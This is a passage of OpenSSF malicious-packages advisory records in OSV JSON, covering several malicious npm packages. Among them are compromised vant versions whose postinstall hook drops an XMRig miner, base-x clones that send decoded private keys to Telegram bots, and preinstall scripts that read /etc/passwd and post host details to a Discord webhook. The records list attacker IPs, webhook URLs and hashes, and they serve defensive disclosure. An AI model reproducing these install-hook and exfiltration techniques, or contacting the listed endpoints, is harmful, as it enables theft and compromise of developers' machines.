Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@tnhorg/agent-skills/MAL-2026-20104.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-fv82-jh67-xx7q"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-fv82-jh67-xx7q","import_time":"2026-11-18T00:38:59.654056267Z","modified_time":"2026-11-18T00:24:41Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"15aa7c362aaaafc306126cc31a429b36a4e6b324ae8671e860a2acea348ca75b","source":"ghsa-malware"}]}}
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{"schema_version":"1.9.2","id":"MAL-2026-20105","published":"2026-11-18T00:24:40Z","modified":"2026-11-18T00:45:23.999353367Z","aliases":["GHSA-m5wx-ph7h-3vhf"],"summary":"Malicious code in a-sub-watcher (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (503864aead00d74d0eaf8d41f3d3f34a6e209549345f40142855274dffca04c6)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"a-sub-watcher","ecosystem":"npm","purl":"pkg:npm/a-sub-watcher"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/a-sub-watcher/MAL-2026-20105.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-m5wx-ph7h-3vhf"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-m5wx-ph7h-3vhf","import_time":"2026-11-18T00:38:59.667496148Z","modified_time":"2026-11-18T00:24:40Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"503864aead00d74d0eaf8d41f3d3f34a6e209549345f40142855274dffca04c6","source":"ghsa-malware"}]}}
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{"schema_version":"1.9.2","id":"MAL-2026-20106","published":"2026-11-18T00:33:53Z","modified":"2026-11-18T00:45:23.894079382Z","aliases":["GHSA-j6rp-v2x9-m5rw"],"summary":"Malicious code in apintergrationpost (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (81185f6e42d5505763f7b6289c3cb60ed9a86eaacf3f49d89694091947e3e7ae)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"apintergrationpost","ecosystem":"npm","purl":"pkg:npm/apintergrationpost"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/apintergrationpost/MAL-2026-20106.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-j6rp-v2x9-m5rw"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-j6rp-v2x9-m5rw","import_time":"2026-11-18T00:38:59.665026892Z","modified_time":"2026-11-18T00:34:02Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"81185f6e42d5505763f7b6289c3cb60ed9a86eaacf3f49d89694091947e3e7ae","source":"ghsa-malware"}]}}
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{"schema_version":"1.9.2","id":"MAL-2026-20107","published":"2026-11-17T00:00:00Z","modified":"2026-11-18T03:30:04.497233180Z","summary":"Malicious code in vant (npm)","details":"Ten versions of vant were published on 2024-12-19 between 00:41:47Z and 01:49:30Z by the npm user landluck, using npm 9.2.0: 4.9.11, 2.13.3, 3.6.13, 4.9.12, 3.6.14, 2.13.4, 4.9.13, 4.9.14, 3.6.15 and 2.13.5. Each one adds an install hook, \"postinstall\": \"node lib/utils/support.js\", which no earlier release of vant had. Clean releases by the maintainer followed from 02:20:40Z the same day (4.9.15, 3.6.16, 2.13.6). The ten versions are deprecated on the registry with the message \"Contains security vulnerabilities, do not use\" but remain installable.\n\nContent (all ten tarballs read statically, integrity matching the registry; nothing was executed): every version is the clean 4.9.10 build with every other file byte-identical to 4.9.10, package.json \"version\" set to the target number, the postinstall hook added, and one added file, lib/utils/support.js. The 2.13.x and 3.6.x versions therefore ship 4.x code under 2.x and 3.x numbers. lib/utils/support.js is a single obfuscated line in two builds:\n- sha256 92c486bcc03a68b5b0b914417bca063bf40ad08db246a1c3f11bb8999afedf43, 609,615 bytes: 4.9.11, 2.13.3, 3.6.13\n- sha256 b91f82dc09bae8c3e72e4cf8f6778a8530417bf5fed3a7e2df49e8b85950eb85, 609,441 bytes: 4.9.12, 3.6.14, 2.13.4, 4.9.13, 4.9.14, 3.6.15, 2.13.5\n\nThe script uses child_process and writes and marks files executable. Strings in both builds: the XMRig 6.22.2 linux-static-x64 release download from github.com, the endpoint 80.78.28.72/tokens (https in the first build, http in the second), an IP lookup at ipinfo.io/json, the GitHub API path api.github.com/repos/youzan/vant/git/blobs/, and the local paths /tmp/vant_helper and /tmp/xmrig. Classification: cryptocurrency miner dropper run from an install hook.\n\nThis compromise was reported publicly on the same day, in the vant maintainers' notice (youzan/vant discussion #13273, 2024-12-19T01:39Z) and in vendor write-ups such as Sonatype's, which lists the same ten versions. ossf/malicious-packages issue #1628 asks for a record for eight of them; this record adds 4.9.11 and 3.6.15. At the time of writing no malware record for these versions exists in OSV or the GitHub Advisory Database.","affected":[{"package":{"name":"vant","ecosystem":"npm","purl":"pkg:npm/vant"},"versions":["2.13.3","2.13.4","2.13.5","3.6.13","3.6.14","3.6.15","4.9.11","4.9.12","4.9.13","4.9.14"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/vant/MAL-2026-20107.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/vant"},{"type":"REPORT","url":"https://github.com/youzan/vant/discussions/13273"},{"type":"REPORT","url":"https://github.com/ossf/malicious-packages/issues/1628"},{"type":"REPORT","url":"https://www.sonatype.com/blog/npm-packages-rspack-vant-compromised-blocked-by-sonatype"}],"database_specific":{"iocs":{"files":[{"digests":{"sha256":"92c486bcc03a68b5b0b914417bca063bf40ad08db246a1c3f11bb8999afedf43"},"note":"postinstall payload, build 1, 609615 bytes (4.9.11, 2.13.3, 3.6.13)","paths":["package/lib/utils/support.js"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"b91f82dc09bae8c3e72e4cf8f6778a8530417bf5fed3a7e2df49e8b85950eb85"},"note":"postinstall payload, build 2, 609441 bytes (4.9.12, 3.6.14, 2.13.4, 4.9.13, 4.9.14, 3.6.15, 2.13.5)","paths":["package/lib/utils/support.js"],"source":"PACKAGE_ARCHIVE"},{"note":"local paths written by the payload","paths":["/tmp/vant_helper","/tmp/xmrig"]}],"ips":["80.78.28.72"],"urls":["https://80.78.28.72/tokens","http://80.78.28.72/tokens","https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz"]}},"credits":[{"name":"r-bedekar","contact":["https://github.com/r-bedekar"],"type":"ANALYST"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20108","published":"2026-11-16T16:20:00Z","modified":"2026-11-18T06:00:15.802108578Z","summary":"Malicious code in base128-x58-1 (npm)","details":"Malicious package. Impersonates the `base-x` encoding library (homepage pointing at cryptocoinjs/base-x, identical layout). The exported `decode(string)` in both `src/esm/index.js` and `src/cjs/index.cjs` is patched with obfuscator.io-style code that POSTs every caller-supplied input, typically a base58-encoded private key or address, to a hardcoded Telegram bot (`sendMessage` with `{chat_id, text: string}`): bot 8444411730 in early versions and bot 8040141601 in 0.0.4. Same technique as `base62-86x` (MAL-2026-6446). Versions 0.0.1 to 0.0.4 were verified from their source; a 0.0.5 was also published on 2025-08-04. Unpublished from npm on 2025-09-11.","affected":[{"package":{"name":"base128-x58-1","ecosystem":"npm","purl":"pkg:npm/base128-x58-1"},"versions":["0.0.1","0.0.2","0.0.3","0.0.4"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/base128-x58-1/MAL-2026-20108.json"}}],"references":[{"type":"WEB","url":"https://wormsign.io/portfolio/base128-x58-1/"}],"database_specific":{"iocs":{"files":[{"digests":{"sha256":"152bfee28e387d059d0e4de58268da64b9c9a50ce35e5d23ce94003c752dd27a"},"paths":["src/esm/index.js"]},{"digests":{"sha256":"46361206fc696ae5e8517dd9d21804f2e46750b07477cb92d5d1abc59294d0ed"},"paths":["src/esm/index.js"]},{"digests":{"sha256":"63d719c82d6c192dd504f50604f3f928959a7d365e07b1e2474158bb0e5a7bbc"},"paths":["src/esm/index.js"]},{"digests":{"sha256":"2d8651488b6a4acb06e4896ae55faac3fa78084fb56e1e4c0875f53e5a40258d"},"paths":["src/esm/index.js"]}],"urls":["https://api.telegram.org/bot8444411730","https://api.telegram.org/bot8040141601"]}},"credits":[{"name":"wormsign","contact":["https://x.com/w0rmsign"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20109","published":"2026-11-16T16:20:00Z","modified":"2026-11-18T06:00:15.799455260Z","summary":"Malicious code in base62-85x (npm)","details":"Malicious package. A `base-x` encoding library clone whose shipped code contains a hardcoded Telegram bot endpoint (bot 7837266935, `sendMessage`). The same bot is used by `base62-86x` (MAL-2026-6446), whose `decode()` is patched to send every caller-supplied input, typically a base58-encoded private key, to that bot, and by other base-x/ethers clones from the same campaign. Published 2026-06-07 and unpublished from npm on 2026-07-01.","affected":[{"package":{"name":"base62-85x","ecosystem":"npm","purl":"pkg:npm/base62-85x"},"versions":["5.0.4"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/base62-85x/MAL-2026-20109.json"}}],"references":[{"type":"WEB","url":"https://wormsign.io/portfolio/base62-85x/"}],"database_specific":{"iocs":{"urls":["https://api.telegram.org/bot7837266935"]}},"credits":[{"name":"wormsign","contact":["https://x.com/w0rmsign"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20110","published":"2026-11-16T16:20:00Z","modified":"2026-11-18T06:00:15.809301874Z","summary":"Malicious code in canvas_webgl_minimal (npm)","details":"Malicious package. A `preinstall` (and `preupdate`) script runs `node index.js`, which reads `/etc/passwd` (and attempts the Windows SAM hive and `C:\\Users`), lists the current working directory, runs `id`/`whoami`, collects the user name, home directory, UID/GID and OS release, and posts it all to a hardcoded Discord webhook (1471187072869073017). The code labels its messages \"Dependency Confusion Executed\" and \"Bug Bounty Execution\", but it runs without consent on any machine that installs it. `index.js` (sha256 fb8451975ead2a956d3d8092eb2868d1ba9135fb6ef30e75941b1454958f75ae) is shared by `canvas_webgl_minimal` and `playwright-config`; the same webhook is used by `google-caja-bower` (MAL-2026-10186). Published 2026-02-23 and unpublished from npm on 2026-02-24.","affected":[{"package":{"name":"canvas_webgl_minimal","ecosystem":"npm","purl":"pkg:npm/canvas_webgl_minimal"},"versions":["11.11.13"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/canvas_webgl_minimal/MAL-2026-20110.json"}}],"references":[{"type":"WEB","url":"https://wormsign.io/portfolio/canvas_webgl_minimal/"}],"database_specific":{"iocs":{"files":[{"digests":{"sha256":"fb8451975ead2a956d3d8092eb2868d1ba9135fb6ef30e75941b1454958f75ae"},"paths":["index.js"]}],"urls":["https://discord.com/api/webhooks/1471187072869073017"]}},"credits":[{"name":"wormsign","contact":["https://x.com/w0rmsign"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20111","published":"2026-11-16T16:20:00Z","modified":"2026-11-18T06:00:15.859172663Z","summary":"Malicious code in playwright-config (npm)","details":"Malicious package. A `preinstall` (and `preupdate`) script runs `node index.js`, which reads `/etc/passwd` (and attempts the Windows SAM hive and `C:\\Users`), lists the current working directory, runs `id`/`whoami`, collects the user name, home directory, UID/GID and OS release, and posts it all to a hardcoded Discord webhook (1471187072869073017). The code labels its messages \"Dependency Confusion Executed\" and \"Bug Bounty Execution\", but it runs without consent on any machine that installs it. `index.js` (sha256 fb8451975ead2a956d3d8092eb2868d1ba9135fb6ef30e75941b1454958f75ae) is shared by `canvas_webgl_minimal` and `playwright-config`; the same webhook is used by `google-caja-bower` (MAL-2026-10186). Published 2026-02-23 and unpublished from npm on 2026-02-24.","affected":[{"package":{"name":"playwright-config","ecosystem":"npm","purl":"pkg:npm/playwright-config"},"versions":["20.20.20"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/playwright-config/MAL-2026-20111.json"}}],"references":[{"type":"WEB","url":"https://wormsign.io/portfolio/playwright-config/"}],"database_specific":{"iocs":{"files":[{"digests":{"sha256":"fb8451975ead2a956d3d8092eb2868d1ba9135fb6ef30e75941b1454958f75ae"},"paths":["index.js"]}],"urls":["https://discord.com/api/webhooks/1471187072869073017"]}},"credits":[{"name":"wormsign","contact":["https://x.com/w0rmsign"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20119","published":"2026-11-18T06:12:31Z","modified":"2026-11-18T06:30:06.253295099Z","summary":"Malicious code in @clickwraps/fetch (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ossf-package-analysis (289c66807f516e609a59600cf3bc477fae5b9acb582f92fc690e34b4eca6fabc)\nThe OpenSSF Package Analysis project identified '@clickwraps/fetch' @ 99.9.1 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n","affected":[{"package":{"name":"@clickwraps/fetch","ecosystem":"npm","purl":"pkg:npm/%40clickwraps/fetch"},"versions":["99.9.1"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@clickwraps/fetch/MAL-2026-20119.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2026-11-18T06:20:01.479604263Z","modified_time":"2026-11-18T06:12:31Z","sha256":"289c66807f516e609a59600cf3bc477fae5b9acb582f92fc690e34b4eca6fabc","source":"ossf-package-analysis","versions":["99.9.1"]}]},"credits":[{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}